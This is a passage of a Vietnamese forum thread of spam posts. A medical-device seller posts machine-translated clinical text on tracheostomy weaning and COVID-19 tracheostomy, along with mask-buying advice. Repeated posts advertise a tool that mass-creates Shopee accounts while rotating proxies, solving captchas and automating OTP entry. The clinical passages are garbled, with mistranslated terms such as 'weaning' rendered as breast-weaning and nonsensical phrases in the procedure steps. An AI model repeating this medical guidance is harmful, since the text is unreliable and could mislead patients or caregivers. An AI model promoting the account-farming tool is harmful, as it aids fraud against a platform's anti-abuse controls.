định về mo khi quan đã được giải quyết Bệnh nhân có thể tự bảo vệ đường thở của mình không? Độ bão hòa oxy của> 90% với liệu pháp Oxy dưới 40% Bệnh nhân ổn định về huyết động Bệnh nhân ổn định về tim mạch Bệnh nhân có thể duy trì tư thế ngồi thẳng trên giường hoặc ghế Bệnh nhân có thể tỉnh táo và tỉnh táo trong 15 phút khi ngồi thẳng. họ ho và làm sạch chất tiết một cách độc lập? Bệnh nhân có nuốt được không? Nhà trị liệu ngôn ngữ và lời nói nên thực hiện đánh giá khả năng nuốt Không có dấu hiệu nào của tình trạng nhiễm trùng phế quản phổi đang xấu đi hoặc dịch tiết quá nhiều ở phổi Họ có bị nhiễm trùng không? Chúng có mắc bệnh hô hấp nào đã biết có thể cần cân nhắc khi đồng ý chương trình cai sữa không? Họ có bất kỳ điều gì sắp tới không, các thủ tục dự kiến yêu cầu gây mê trong 7-10 ngày tới? Môi trường chăm sóc có phù hợp để bắt đầu chương trình cai sữa mở khí quản không? [1] [2] [5] Chống chỉ định cai sữa [sửa sửa mã nguồn] Không thể chịu đựng được vòng bít bị tụt / xì hơi Tắc nghẽn đường thở Không ổn định về mặt y tế Lo lắng nghiêm trọng về việc cắt bỏ khí quản Suy giảm nhận thức Hẹp nặng thanh quản hoặc khí quản Bệnh phổi giai đoạn cuối Nguy cơ viêm phổi do hít thở nặng / hít phải tái phát [5] Các giai đoạn cai sữa [ chỉnh sửa sửa mã nguồn] Trong suốt quá trình cai sữa, bệnh nhân cần được theo dõi tình trạng suy hô hấp. Xì hơi vòng bít Điều này làm mất lớp bảo vệ khỏi việc hút dịch Bệnh nhân được yêu cầu quản lý dịch tiết và nuốt của mình. Không có âm thanh hơi thở cao hơn mức của ống mở khí quản cho thấy luồng không khí xung quanh ống giảm. Van nói một chiều Đảm bảo vòng bít được xì hơi van nói một chiều được đặt trên lỗ mở của ống mở khí quản cho phép cảm hứng thông qua van, nhưng đóng lại khi hết hạn, cho phép không khí chảy qua dây thanh quản. Khoảng thời gian van nói được dung nạp sẽ khác nhau ở mỗi bệnh nhân và chỉ có thể được đánh giá từ việc quan sát hoạt động thở của bệnh nhân. Tăng khả năng chịu đựng khi sử dụng van nói với mục tiêu hơn bốn giờ trong một khối. Không nên để qua đêm vì dịch tiết hoặc tư thế ngủ có thể làm tắc van một chiều. Nắp cách nhiệt Vòng bít luôn được xì hơi. Đây là giai đoạn cuối cùng của quá trình cai sữa khi ống mở khí quản bị tắc nghẽn, dẫn đến việc sử dụng miệng và mũi để kích thích và thở ra. Mục đích là để xây dựng lên đến bốn giờ với giới hạn ngưng tụ được bật. Giải áp (loại bỏ ống mở khí quản) Có thể chịu được vòng bít trong 24 giờ Có thể chịu được van nói trong 12 giờ hoặc mở nắp trong 4 giờ. MDT trong thỏa thuận để khử sự điều tiết [5] Tài nguyên [sửa sửa mã nguồn] Tổ chức NHS của Bệnh viện Đại học St George:.Khí quản và thanh quản - PhysiopediaKhí quản Khí quản là một ống màng dài khoảng 12cm gắn với thanh quản và nằm trước thực quản. Nó được nâng đỡ bởi 12 đến 20 vòng sụn hyaline hình chữ C. Các vòng sụn củng cố khí quản và ngăn nó xẹp xuống khi hít vào. Thành sau của khí quản không có sụn và chứa một màng dây chằng đàn hồi với các bó cơ trơn gọi là cơ khí quản. Sự co thắt của cơ trơn có thể thu hẹp đường kính của khí quản.

    Liên hệ đơn vị phân phối các thiết bị y tế gia đình và bệnh viện tại Việt Nam

    Công ty TNHH thương mại quốc tế MERINCO

    Văn phòng giao dịch: Phòng 2304, toà nhà HH2 Bắc Hà. Số 15 Tố Hữu, Thanh Xuân, Hà nội.

    ĐT : 02437765118

    Email: merinco.sales@gmail.com

    WEBSITE: www.merinco.vn / www.meplus.vn / merinco.com.vn
     
  13. hoatrungthunis19813

    hoatrungthunis19813 New Member

    [​IMG]
    Ứng dụng tự động tạo hàng loạt tài khoản Shopee
    Các chức năng chính: – Auto tạo tài khoản Shopee
    – Tự đổi proxy với api của Tinsoft
    – Tự giải captcha (tool tự giải ko tốn phí)
    – Auto lấy SĐT + nhập OTP
    – Quản lý tài khoản Facebook: https://fb.me/codetools




    [​IMG] [​IMG]

     
  14. bnethohahieu3198

    bnethohahieu3198 New Member

    [​IMG]
    Ứng dụng tự động tạo hàng loạt tài khoản Shopee
    Các chức năng chính: – Auto tạo tài khoản Shopee
    – Tự đổi proxy với api của Tinsoft
    – Tự giải captcha (tool tự giải ko tốn phí)
    – Auto lấy SĐT + nhập OTP
    – Quản lý tài khoản Facebook: https://fb.me/codetools




    [​IMG] [​IMG]

     
  15. bnethohahieu3198

    bnethohahieu3198 New Member

    [​IMG]
    Ứng dụng tự động tạo hàng loạt tài khoản Shopee
    Các chức năng chính: – Auto tạo tài khoản Shopee
    – Tự đổi proxy với api của Tinsoft
    – Tự giải captcha (tool tự giải ko tốn phí)
    – Auto lấy SĐT + nhập OTP
    – Quản lý tài khoản Facebook: https://fb.me/codetools




    [​IMG] [​IMG]

     
  16. loinsacomno9813

    loinsacomno9813 New Member

    [​IMG]
    Ứng dụng tự động tạo hàng loạt tài khoản Shopee
    Các chức năng chính: – Auto tạo tài khoản Shopee
    – Tự đổi proxy với api của Tinsoft
    – Tự giải captcha (tool tự giải ko tốn phí)
    – Auto lấy SĐT + nhập OTP
    – Quản lý tài khoản Facebook: https://fb.me/codetools




    [​IMG] [​IMG]

     
  17. TÚI ĐỰNG GIÀY TEAM ITALY - SHOES BAG




    Thông tin chi tiết Túi Đựng Giày TEAM ITALY - Shoes Bag

    - Hãng sản xuất : TEAM ITALY

    - Chất liệu : Vải dù

    - Màu sắc : Red/Royal Blue/Navy/Black

    Túi Đựng Giày TEAM ITALY






    [​IMG]






    [​IMG]

    [​IMG]
    [​IMG]



    Xem thêm các sản phẩm golf cực đẹp tại website DIOGINI . VN nhé
     
  18. lenham16

    lenham16 New Member

    Mở khí quản thiết lập và cách tiếp cận truyền cảm hứng ở bệnh nhân covid19

    Nếu quyết định tiến hành phẫu thuật mở khí quản, cần cân nhắc cẩn thận về việc bố trí thích hợp (giường so với phòng mổ [OR]) và cách tiếp cận (mở so với qua da) để giảm thiểu tiếp xúc với nhà cung cấp. Không có dữ liệu hiện tại điều tra xem một trong hai biến này tác động như thế nào đến nguy cơ lây truyền COVID-19 cho nhân viên y tế. Tuy nhiên, có một số phát hiện quan trọng có thể giúp hướng dẫn các bác sĩ lâm sàng khi quyết định địa điểm và cách thức thực hiện mở khí quản.

    Lợi ích của việc mở khí quản tại giường bao gồm tránh tiếp xúc với các nhân viên y tế bổ sung trong quá trình chuyển đến OR, hợp nhất các nhóm mà không cần cả đơn vị chăm sóc đặc biệt (ICU) và nhóm OR, và sử dụng một máy thở duy nhất. Ngoài ra, mở khí quản tại giường có thể hạn chế thời gian tiếp xúc với virus tiềm ẩn bằng cách giảm thời gian thủ thuật và bảo tồn hiệu quả hơn các nguồn lực gây sợ hãi khi so sánh với mở khí quản trong OR. Thủ thuật mở khí quản qua da cạnh giường đã được chứng minh là thực hiện nhanh hơn trung bình (10–20 phút) so với phẫu thuật mở khí quản được thực hiện trong OR và với chi phí giảm đáng kể, điều này có thể phản ánh việc giảm sử dụng các nguồn lực như PPE và nhân sự. Tuy nhiên, lợi ích về tiết kiệm thời gian và nguồn lực của việc mở khí quản qua da trở nên ít rõ ràng hơn khi phẫu thuật mở khí quản cũng được thực hiện tại giường bệnh, cho thấy rằng thời gian và nguồn lực tiết kiệm được nhiều khả năng phản ánh việc thiết lập quy trình hơn là phương pháp tiếp cận. .

    Có một nguy cơ chính đáng đối với việc tăng phơi nhiễm vi rút trong màng cứng qua dịch tiết và các hạt khí dung khi phẫu thuật mở khí quản được thực hiện qua da vì kỹ thuật này đòi hỏi thao tác bổ sung đường thở với nhiều lần giãn, lặp đi lặp lại. Mặc dù đây là một cân nhắc hợp lý cần được tính đến, nhưng hiện tại không có tài liệu nào được xuất bản để xác lập tuyên bố này.

    Về việc sử dụng nội soi phế quản trong phương pháp tiếp cận qua da, cần cân nhắc về tác động của nó đối với nguy cơ lây nhiễm cho người cung cấp dịch vụ. Đánh giá qua nội soi phế quản trong quá trình mở khí quản qua da có thể làm tăng hình ảnh trong những thời điểm quan trọng, điều này có thể giúp tránh các biến chứng lớn như thủng thành sau khí quản hoặc tạo lòng mạch giả. Tuy nhiên, việc sử dụng nội soi phế quản cần có sự hiện diện của bác sĩ lâm sàng thứ hai và việc sử dụng nó thực sự có thể kéo dài thời gian của các trường hợp không biến chứng bằng cách thêm các bước không cần thiết. Nếu bác sĩ tiến hành thủ thuật cảm thấy thoải mái hơn khi thực hiện mở khí quản qua da với sự hỗ trợ của đánh giá qua nội soi phế quản, một số biện pháp phòng ngừa nhất định có thể làm giảm nguy cơ phơi nhiễm vi rút. Cần tạm ngừng thông khí trong khi ống nội soi ở trong đường thở để tránh hiện tượng thổi ngược qua cổng nội soi phế quản. Thông thường, nhu cầu hình dung chỉ thực sự cần thiết trong quá trình đặt kim rỗng để đặt dây hướng dẫn; do đó, chỉ sử dụng nội soi phế quản một cách hợp lý vào những thời điểm quan trọng trong quy trình có thể làm giảm phơi nhiễm vi rút. Trong bối cảnh tỷ lệ biến chứng thấp có hoặc không có đánh giá qua nội soi phế quản, Nguồn lực bổ sung và thời gian phơi nhiễm vi rút kéo dài với số lượng nhân viên y tế ngày càng tăng được đánh giá qua nội soi phế quản có thể không xứng đáng với lợi ích của việc tăng cường hình dung.

    Một yếu tố quan trọng khác cần được xem xét là khả năng áp suất âm của các phòng trong ICU và OR vì các biện pháp phòng ngừa áp suất âm đã được báo cáo trong nhiều ca cắt khí quản thành công mà không lây truyền vi rút cho nhân viên y tế trong đợt dịch SARS. Mặc dù về mặt kỹ thuật, người ta khuyến nghị sử dụng phòng áp suất âm để thực hiện thủ thuật tại giường bệnh, nhưng điều này có thể ít áp dụng hơn trong các thiết bị COVID-19 kín.

    Từ quan điểm kết quả của bệnh nhân, nhiều nghiên cứu đã chứng minh không có sự khác biệt giữa mở khí quản và mở khí quản qua da ở cả tỷ lệ tử vong quanh màng cứng hoặc tổng thể. Tuy nhiên, một số nghiên cứu cho thấy tỷ lệ tử vong đối với phẫu thuật mở khí quản thấp hơn khi thực hiện trong OR so với qua da tại giường. Quan trọng là, những phát hiện này cho thấy rằng phẫu thuật mở khí quản tại giường bệnh có thể được thực hiện ít nhất là an toàn hoặc có thể an toàn hơn so với phương pháp OR.

    Với thông tin này, chúng tôi khuyên bạn nên xem xét kỹ lưỡng việc mở khí quản tại giường. Mở khí quản hoặc mở khí quản qua da - lý tưởng là không cần hỗ trợ nội soi phế quản - có thể được sử dụng dựa trên sự thoải mái của người cung cấp dịch vụ, mặc dù cần tính đến việc gia tăng mức độ phơi nhiễm vi-rút hợp lý với thao tác bổ sung đường thở khi sử dụng phương pháp qua da. Quyết định này nên được giải thích sau khi thảo luận đa ngành và xác định nhu cầu dứt điểm về phẫu thuật mở khí quản.

    CÂN NHẮC KỸ THUẬT

    Các báo cáo trường hợp được công bố trước đây và quy trình phẫu thuật mo khi quan ở bệnh nhân SARS chia sẻ một số cân nhắc đối với bác sĩ lâm sàng hiện nay. Ngoài các biện pháp phòng ngừa tiếp xúc và giọt tiêu chuẩn, nhân viên phẫu thuật còn sử dụng nhiều PPE nâng cao (ví dụ, mặt nạ thở tích cực chạy bằng khí hoặc Stryker T4 (Stryker Instruments, Kalamazoo, MI) ngoài các biện pháp phòng ngừa giọt với mặt nạ N95) với việc loại bỏ được tiêu chuẩn hóa, thường được giám sát . Các phòng áp suất âm được sử dụng khi có thể, bên cạnh giường bệnh hoặc trong các phòng OR chuyên dụng. Nhân sự đã được chọn cho kinh nghiệm của họ; phối hợp rộng rãi đã được thực hiện để giảm thiểu số lượng nhân sự và thời gian thủ tục và tránh gây xao nhãng hoặc những phức tạp không lường trước được. Đảm bảo đủ ánh sáng trong quá trình thủ thuật tại giường với đèn HOẶC đứng hoặc đèn pha. Cần lưu ý rằng các giới hạn về không gian hoặc PPE có thể hạn chế các tiện nghi bổ sung này.

    Cân nhắc gây mê là điều quan trọng hàng đầu. Đặt nội khí quản theo trình tự nhanh, nói trước thông khí bằng mặt nạ túi và đặt nội khí quản bởi bác sĩ gây mê có kinh nghiệm là các bước có thể được thực hiện để giảm nguy cơ lây truyền vi rút trong quá trình đặt nội khí quản ban đầu tại ICU hoặc khoa cấp cứu. Nếu việc mở khí quản được coi là cần thiết về mặt y tế, thì cũng nên gây mê tĩnh mạch toàn bộ vì các chỉ định bao gồm gây mê được cung cấp bên ngoài OR và nhu cầu hạn chế co thắt thanh quản với cơn ho sau đó khi xuất hiện. Cả hai chỉ định này đều có thể áp dụng cho việc mở khí quản trong bối cảnh thủ thuật ICU tại giường và giảm các chất tồn tại qua đường khí dung khi xuất hiện, tương ứng. Vì vậy, dùng thuốc dự phòng chất khử cực thần kinh cơ như rocuronium đều đặn và ngay trước khi rạch mở khí quản giúp giảm nguy cơ ho. Cuối cùng, các chống chỉ định tương đối đối với mở khí quản qua da theo quan điểm gây mê bao gồm áp lực cuối thở ra dương tính (PEEP)> 18 cm, áp lực đường thở> 45 cm và FiO [sub]2[/sub] > 80%.

    Ngoài việc sử dụng các phác đồ điều trị SARS, một số tổ chức tai mũi họng chuyên nghiệp đã đưa ra khuyến cáo về việc mở khí quản an toàn ở bệnh nhân COVID-19. Ví dụ về các biện pháp phòng ngừa cụ thể đối với phau thuat mo khi quan được thực hiện ở những bệnh nhân dương tính với COVID-19 ở Vương quốc Anh bao gồm tránh thở oxy dòng chảy cao do xu hướng làm tăng quá trình phun khí dung của vi rút, sử dụng ống mở khí quản không gây mê, tạm dừng thông khí trong thời gian cửa sổ của cuộc phẫu thuật và trong khi đặt ống, tránh ngắt kết nối mạch càng nhiều càng tốt và sử dụng thiết bị trao đổi nhiệt và ẩm đã được chứng nhận nếu cần ngắt kết nối.

    PHẦN KẾT LUẬN

    Do mức độ nghiêm trọng và kết quả lâm sàng không chắc chắn của bệnh nhân COVID-19, ngoài việc tăng nguy cơ lây truyền cho các bác sĩ lâm sàng trong quá trình tạo khí dung, nên cân nhắc cẩn thận trước khi thực hiện mở khí quản. Nếu quyết định tiến hành phẫu thuật mở khí quản, chúng tôi khuyến nghị phương pháp tiếp cận tại giường để giảm phơi nhiễm bổ sung trên đường đến OR và giảm thiểu số lượng nhân viên và thời gian thủ tục để cố gắng hạn chế phơi nhiễm vi rút. Kết quả của các phương pháp tiếp cận qua da và mở đã được chứng minh là có thể so sánh được. Nội soi khí quản cạnh giường có thể được thực hiện bằng cách tiếp cận mở hoặc qua da; quyết định là tùy thuộc vào quyết định và sự thoải mái của bác sĩ lâm sàng thực hiện. ống Mở khí quản qua da về mặt lý thuyết có nguy cơ gia tăng tiếp xúc với dịch tiết của virus và các hạt khí dung do thao tác thêm đường thở với sự giãn nở lặp đi lặp lại. Nên hạn chế sử dụng nội soi phế quản với phương pháp tiếp cận qua da để giảm phơi nhiễm vi rút. Lập kế hoạch trước thủ thuật kỹ lưỡng, sử dụng nhân viên có kinh nghiệm, PPE nâng cao (nếu có) và phương pháp gây mê chu đáo là công cụ để tối đa hóa kết quả tích cực của bệnh nhân trong khi bảo vệ thành công sự an toàn của nhân viên y tế

    Liên hệ đơn vị phân phối các thiết bị y tế gia đình và bệnh viện tại Việt Nam

    Công ty TNHH thương mại quốc tế MERINCO

    Văn phòng giao dịch: Phòng 2304, toà nhà HH2 Bắc Hà. Số 15 Tố Hữu, Thanh Xuân, Hà nội.

    ĐT : 02437765118

    Email: merinco.sales@gmail.com

    WEBSITE: www.merinco.vn / www.meplus.vn / merinco.com.vn
     
  19. lenham20

    lenham20 New Member

    Các loại khẩu trang và tác dụng

    Đứng trước tình hình dịch bệnh phức tạp hiện nay, đặc biệt đại dịch COVID-19; khẩu trang là một trong những vật dụng không thể thiếu được của mỗi chúng ta, giúp chúng ta bảo vệ bản thân và bảo vệ những người xung quanh.

    Trên thị trường có nhiều loại khẩu trang khác nhau, chúng tôi sẽ giúp các quý vị tìm hiểu về các loại khẩu trang và tác dụng của chúng

    1. Khẩu trang vải

    Khẩu trang vải là loại khẩu trang được sản xuất từ vải bông hoặc pha bông. Chúng gồm 2 - 3 lớp vải dệt chặt lại với nhau. Một chiếc khẩu trang vải đạt chuẩn cần đạt các tiêu chí sau:
    • Khẩu trang gồm nhiều lớp có khả năng ngăn chặn các giọt bắn, dịch tiết từ đường hô hấp khi người đối diện nói chuyện, ho, hắt hơi,…
    • Có thể giặt được và tái sử dụng
    • Khẩu trang phải có hai hoặc ba lớp làm bằng chất liệu vải dệt khít, có thể giặt được, thoáng khí hoặc có hai lớp với túi dành cho tấm lọc không khí.
    • Để xem chất liệu vải có được dệt khít hay không, hãy đưa ra nguồn sáng, khẩu trang phải chắn được ánh sáng.
    • Khẩu trang ôm sát khuôn mặt và đảm bảo độ thông thoáng.


    /uploads/Image/01(1).jpg

    /uploads/Image/02.jpg



    Khẩu trang vải



    2. Khẩu trang y tế kháng khuẩn
    • Khẩu trang y tế (theo Tiêu chuẩn Quốc gia TCVN 8389-1:2010) là loại khẩu trang có thể giúp người sử dụng tránh các bụi bẩn và ngăn ngừa vi khuẩn từ giọt bắn như ho, hắt hơi.
    • Khẩu trang y tế không được làm từ vải và không thể giặt nên chỉ được sử dụng một lần duy nhất.
    • Khẩu trang y tế thường phẳng, có nếp gấp, được làm từ các loại vải không dệt, lớp vi lọc, thanh nẹp mũi và dây đeo. Hai mặt khẩu trang sẽ có màu khác nhau, một mặt đậm có màu (xanh, trắng, đen,...) và mặt còn lại thường màu trắng để dễ phân biệt và sử dụng đúng cách.
    • Hiện nay, trên thị trường có các loại khẩu trang 2 - 4 lớp, không thấm nước. Tùy theo độ dày mà công dụng ngăn vi khuẩn và bụi bẩn sẽ khác nhau. Loại khẩu trang y tế 3 lớp thường được sử dụng phổ biến nhất. Loại khẩu trang này gồm 3 lớp ứng với những công dụng khác nhau.
    • Lớp màu xanh ở ngoài cùng có thể chống thấm nước, giúp ngăn chặn các giọt bắn khi người đối diện ho, hắt xì,…Không chỉ vậy, lớp màu này còn giúp người sử dụng dễ dàng phân biệt với lớp trong.
    • Lớp phía trong, có đặc tính mịn màng và không xù lông để tránh gây khó chịu khi áp sát vào khuôn mặt. Đồng thời, lớp này còn có khả năng thấm hút mồ hôi nhanh, giúp người dùng cảm thấy thoải mái dễ chịu.
    • Với tác dụng lọc bụi và các vi khuẩn có kích thước nhỏ, lớp giữa của khẩu trang có vai trò quan trọng trong bảo vệ, chống dịch COVID-19.
    • Để đảm bảo an toàn, bạn nên chọn loại khau trang vừa vặn với khuôn mặt, không hở hai bên, đặc biệt là phải che kín mũi và miệng.


    /uploads/Image/03.png

    /uploads/Image/04.png



    Khẩu trang y tế kháng khuẩn



    3. Khẩu trang có hiệu suất lọc cao (N95, FFP2, KN95, P2, DS…)
    • Khẩu trang có hiệu suất lọc cao (N95, FFP2, KN95, P2, DS…), khả năng lọc 95% các hạt có kích thước siêu nhỏ (từ 0,3 µm); lọc các chất ô nhiễm dạng hạt PM2.5. Do đó, loại khẩu trang này có khả năng bảo vệ, ngăn chặn bụi, vi khuẩn, virus (ví dụ như virus SARS-CoV-2),… rất tốt; đảm bảo an toàn cho người sử dụng.
    • Để tăng thêm hiệu quả an toàn cho người sử dụng, công nghệ Nanofiber (sợi nano cực kỳ mỏng - chúng mỏng hơn sợi tóc người khoảng 200 - 300 lần) đã được cấp bằng sáng chế để tạo ra một chiếc khẩu trang cực kỳ mỏng, kết hợp công nghệ tăng cường chống vi khuẩn, cung cấp sức cản không khí thấp hơn, mang lại sự thoải mái và đạt hiệu quả cao trong bảo vệ người sử dụng


    /uploads/Image/05.jpg

    /uploads/Image/22(1).jpg



    Khẩu trang N95

    Khẩu trang N95

    có sử dụng công nghệ Nanofiber





    Tham khảo thêm các sản phẩm hỗ trợ hô hấp : ống nội khí quản kèm ống hút, ống mở khí quản, máy tạo oxy, mask oxy khí dung, mở khí quản cấp cứu...

    Liên hệ đơn vị phân phối các thiết bị y tế gia đình và bệnh viện tại Việt Nam

    Công ty TNHH thương mại quốc tế MERINCO

    Văn phòng giao dịch: Phòng 2304, toà nhà HH2 Bắc Hà. Số 15 Tố Hữu, Thanh Xuân, Hà nội.

    ĐT: 02437765118

    Email: merinco.sales@gmail.com

    WEBSITE: www.merinco.vn / www.meplus.vn / merinco.com.vn
     
  20. lenham17

    lenham17 New Member

    Tiêu chuẩn để lựa chọn khẩu trang “ Tốt ”

    Theo hướng dẫn của Bộ y tế, để phòng chống dịch bệnh Covid-19, người dân cần thực hiện tốt biện pháp 5K, trong đó đeo khẩu trang là một trong những biện pháp cần thiết. Theo quy định tại Khoản 1 Điều 12 Nghị định 117/2020/NĐ-CP": khi đến nơi công cộng mà người dân không thực hiện việc đeo khẩu trang là hành vi vi phạm quy định của Bộ Y tế và có thể bị xử phạt từ 1 - 3 triệu đồng.

    Khẩu trang giúp chúng ta bảo vệ an toàn cho bản thân và bảo vệ những người xung quanh, vì vậy việc lựa chọn được một khẩu trang “tốt” là rất quan trọng. Vậy thế nào là một khẩu trang “tốt”, chúng tôi sẽ giúp các quý vị trong việc lựa chọn này!

    1. Tính pháp lý của khẩu trang

    Khẩu trang phải có “hồ sơ pháp lý”:
    • Khẩu trang có xuất xứ, nguồn gốc rõ ràng
    • Khẩu trang phải đạt các tiêu chuẩn của tổ chức có chức năng đánh giá theo các tiêu chuẩn: theo tiêu chuẩn của Việt Nam, tiêu chuẩn của Mỹ (NIOSH), tiêu chuẩn theo Liên minh châu âu (CE), vv…
    2. Độ khít của khẩu trang

    Một khau trang “tốt” là một khẩu trang có độ kín khít, phù hợp với mỗi người. Có một số cách “thử” để chúng ta biết được độ kín khít của khẩu trang
    • Khẩu trang phải che kín mũi, miệng; vừa khít với hai bên mặt và không có bất kỳ khe hở nào
    • “Fit test”: ôm tay ngoài khẩu trang rồi hít mạnh vào, thở ra mạnh, nếu không thấy mờ kính, không thấy gió thổi ra ở quanh khẩu trang là được
    • Đánh giá mức độ chắc chắn của thanh gọng mũi, không “ọp ẹp”
    • Độ kín khít này đều được đảm bảo trong các điều kiện khác nhau: cúi, ngửa, xoay đầu, vận động nhanh; lao động… trong thời gian lâu
    3. Đánh giá mức độ khó chịu khi đeo lâu

    Khẩu trang “tốt” phải tạo cảm giác “thoải mái” cho người sử dụng:
    • Khẩu trang đeo không làm đau tai (do thiết kế của dây đeo của mỗi loại khẩu trang)
    • Mức độ khó thở: đeo khẩu trang, đi bộ lên xuống thang gác với tốc độ bình thường, loại nào gây khó thở nhiều hơn là không khí đi qua kém hơn
    • Mức độ tạo xơ vải trong khi đeo (nhất là ở lớp trong cùng) có thể gây cảm giác ngứa mũi…, không nên chọn loại này
    4. Khẩu trang có hiệu suất lọc cao

    Hiệu suất lọc của khẩu trang: là đánh giá hiệu quả lọc vi khuẩn bằng cách so sánh số lượng vi khuẩn mà khẩu trang đó lọc được
    • Khẩu trang N95 có nghĩa là lọc được 95% các hạt có kích thước siêu nhỏ (từ 0,3 µm)
    • Khẩu trang N99 có nghĩa là lọc được 99% các hạt có kích thước siêu nhỏ (từ 0,3 µm)
    • Như vậy, khẩu trang N95, N99 là loại khẩu trang có hiệu suất lọc rất cao; có khả năng bảo vệ, ngăn chặn bụi, vi khuẩn, virus (ví dụ như virus SARS-CoV-2)… đảm bảo an toàn cho người sử dụng
    Tham khảo thêm các sản phẩm hỗ trợ hô hấp : ống nội khí quản kèm ống hút, ống mở khí quản, máy tạo oxy, mask oxy khí dung, mở khí quản cấp cứu...

    Liên hệ đơn vị phân phối các thiết bị y tế gia đình và bệnh viện tại Việt Nam

    Công ty TNHH thương mại quốc tế MERINCO

    Văn phòng giao dịch: Phòng 2304, toà nhà HH2 Bắc Hà. Số 15 Tố Hữu, Thanh Xuân, Hà nội.

    ĐT: 02437765118

    Email: merinco.sales@gmail.com

    WEBSITE: www.merinco.vn / www.meplus.vn / merinco.com.vn
     

Bài viết mới nhất

Đang tải...

Chia sẻ trang này